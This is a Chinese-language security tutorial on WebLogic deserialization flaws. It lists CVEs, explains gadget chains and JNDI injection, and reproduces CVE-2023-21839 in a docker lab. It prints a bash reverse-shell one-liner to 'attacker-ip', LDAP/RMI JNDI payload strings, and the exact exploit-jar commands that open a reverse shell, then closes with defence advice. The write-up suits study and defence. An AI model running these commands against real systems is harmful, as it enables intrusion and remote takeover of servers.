Weblogic反序列化漏洞
Weblogic介绍Weblogic介绍
- 定义:Oracle公司推出的企业级Java EE应用服务器。
- 用途:用于开发、部署和管理分布式大型Web应用、网络应用和数据库应用。
- 特点:高可靠性、可扩展性、符合Java EE标准。
- 风险:广泛使用使其成为攻击者重点目标,反序列化漏洞尤为高危。
常用端口常用端口
- Web控制台:7001(HTTP),7002 (HTTPS)-最常用
- T3协议(Java RMI):7001(通常复用Web端口)
- Node Manager:5556
- Admin Server(安全端口):9002
历史反序列化漏洞(部分关键CVE)
| CVE编号 | 组件/协议 | 主要影响版本 | 简述 |
|---|---|---|---|
| CVE-2015-4852 | Commons Collections | 10.3.6.0,12.1.2.0,12.1.3.0 | 首个广泛利用的Apache Commons Collections反序列化漏洞 |
| CVE-2016-0638 | T3协议 | 10.3.6.0,12.1.3.0 | 绕过CVE-2015-4852补丁,新的利用链 |
| CVE-2016-3510 | T3协议 | 10.3.6.0,12.1.3.0,12.2.1.0 | 另一个Commons Collections利用链 |
| CVE-2017-3248 | RMI通信 | 10.3.6.0,12.1.3.0,12.2.1.0 | 影响JRMP协议 |
| CVE-2018-2628 | T3协议 | 10.3.6.0,12.1.3.0,12.2.1.2 | 影响广泛的T3协议反序列化漏洞 |
| CVE-2018-2893 | Web Services | 12.1.3.0,12.2.1.2,12.2.1.3 | 通过WLS-WebServices组件触发反序列化 |
| CVE-2019-2725 | Web Services | 10.3.6.0,12.1.3.0 | CVE-2019-2729的绕过,影响AsyncResponseService |
| CVE-2020-2555 | IIOP协议 | 10.3.6.0,12.1.3.0,12.2.1.3,12.2.1.4 | Coherence组件反序列化漏洞 |
| CVE-2020-2883 | IIOP协议 | 10.3.6.0,12.1.3.0,12.2.1.3,12.2.1.4 | CVE-2020-2555的绕过 |
| CVE-2020-14645 | Coherence组件 | 12.2.1.3.0,12.2.1.4.0,14.1.1.0.0 | 又一个Coherence反序列化漏洞 (Gadget不同) |
| CVE-2021-2394 | Coherence组件 | 12.2.1.3.0,12.2.1.4.0,14.1.1.0.0 | Oracle Coherence 库反序列化漏洞 |
| CVE-2023-21839 | IIOP/T3 | 12.2.1.3.0,12.2.1.4.0,14.1.1.0.0 | 新的绕过链,影响广泛 |
漏洞原理
1. 序列化/反序列化基础
-
序列化:将Java对象转换为字节流的过程(ObjectOutputStream)
-
反序列化:将字节流还原为Java对象的过程(ObjectInputStream)
-
核心风险:Java 反序列化时会自动执行对象的 readObject() 方法
2. 漏洞产生原因
// 典型漏洞代码结构
try (ObjectInputStream ois = new ObjectInputStream(inputStream)) {
Object obj = ois.readObject(); // 危险点:未经验证直接反序列化
// ... 处理对象 ...
}
## 漏洞利用
### 1. Dnslog 探测 (无回显漏洞验证)
原理:利用漏洞触发目标服务器发起DNS查询,查询域名指向攻击者控制的DNSLog平台。成功收到DNS查询记录即证明漏洞存在。
步骤:
1.获取一个临时DNSLog域名 (如 `xxxxxx.dnslog.cn`)。
2.构造恶意序列化数据 (Payload),其中嵌入一个指向该子域名的地址 (如 `http://test.xxxxxx.dnslog.cn` 或 `rmi://test.xxxxxx.dnslog.cn/Exploit`)。
3.将Payload发送给目标Weblogic服务器的脆弱端点 (如T3端口7001, IIOP端口, WLS-WebServices路径)。
4.监视DNSLog平台。若出现 `test.xxxxxx.dnslog.cn` 的查询记录,则漏洞很可能存在。
优点:快速、隐蔽、无需直接回显。
工具:
DNSLog平台 (公开或自建)
ysoserial (生成Payload)
Burp Suite (发送Payload)
专用漏洞探测工具 (如nuclei, pocsuite3, exp脚本)
### 2. 反弹Shell/JNDI注入利用
原理:利用反序列化漏洞触发目标服务器执行恶意代码,实现命令执行。
主要方式:
传统反序列化Gadget链+命令执行:
使用工具 (如 `ysoserial`) 生成包含OS命令执行代码的序列化Payload (常用链: CommonsCollections, Groovy, Jdk7u21, C3P0等)。
命令通常是 `/bin/bash -c` 或 `cmd.exe /c` 执行反弹shell命令。
将Payload发送到脆弱端点触发。
JNDI注入:
原理:利用漏洞触发目标服务器向攻击者控制的恶意JNDI服务 (RMI/LDAP) 发起查询,加载并执行远程恶意类。
步骤:
1.启动恶意RMI/LDAP服务 (工具: `marshalsec`, `JNDIExploit`)。指定加载的恶意类URL (通常是一个HTTP服务器上的 `.class` 文件)。
2.在HTTP服务器放置编译好的恶意Java类 (内容通常是执行系统命令或反弹shell)。
3.构造Payload:JNDI注入字符串 (如 `rmi://attacker-ip:1099/Exploit`, `ldap://attacker-ip:1389/Exploit`)。
4.将Payload发送到目标Weblogic脆弱端点触发。
5.目标连接恶意JNDI服务->服务返回指向HTTP恶意类的引用->目标下载并执行恶意类->攻击者获取反弹shell或执行命令。
优点:更灵活,恶意代码在外部服务器,便于更新;常用于绕过黑名单。
反弹Shell命令示例 (Linux):
bash
bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1
- 工具:
ysoserial(生成传统Gadget Payload)
marshalsec,JNDIExploit(启动恶意RMI/LDAP服务)
nc(netcat,监听反弹shell)
SimpleHTTPServer(Python,托管恶意类文件)
3. Gadget链利用机制
入口类(Sink): 包含危险方法(如Runtime.exec())的类
连接器(Chain): 通过反射/动态代理连接多个类
触发点(Source):实现readObject()的类(如AnnotationInvocationHandler)
漏洞复现
CVE-2023-21839复现
工具
- JNDIExploit-1.2-SNAPSHOT.jar
- Weblogic-CVE-2023-21839.jar
- dnslog
复现
1. DNSLOG探测
docker搭建好靶场以后访问
生成一个dnslog域名,使用Weblogic-CVE-2023-21839.jar,发送请求刷新dnslog查看
java -jar Weblogic-CVE-2023-21839.jar xxx http://x9qypc.dnslog.cn

2.反弹shell
攻击机使用nc监听端口
nc -lvvp 2546
在攻击机使用JNDIExploit-1.2-SNAPSHOT.jar打开ldap和http协议并监听

java -jar JNDIExploit-1.2-SNAPSHOT.jar -i xxx
攻击机使用Weblogic-CVE-2023-21839.jar进行攻击

java -jar Weblogic-CVE-2023-21839.jar 目标ip:端口 ldap://攻击ip:1389/Basic/ReverseShell/攻击ip/监听端口
成功反弹shell
防御建议
1.及时更新补丁:关注Oracle季度关键补丁更新 (CPU),第一时间修补漏洞。
2.控制网络访问:
- 限制访问Weblogic控制台的IP(仅限管理网段)。
- 在外网防火墙阻断T3(t3, t3s),IIOP协议端口访问。
- 禁用不必要的协议(如T3,IIOP)或配置安全通道。
3.安全配置:
- 修改默认端口(非7001)。
- 使用强密码,避免弱口令。
- 限制Web Services等组件的匿名访问。
4.运行加固:
- 使用最小权限运行Weblogic进程(非root)。
- 部署安全产品(WAF,RASP)监控和阻断反序列化攻击流量。
5.移除危险库:在安全测试后,考虑移除存在Gadget的危险库(如Commons-Collections旧版本)。谨慎操作,需测试兼容性。
6.流量审计:监控T3,IIOP,HTTP等协议流量中的异常序列化数据。
作者:晨星安全团队——1nt ma1n

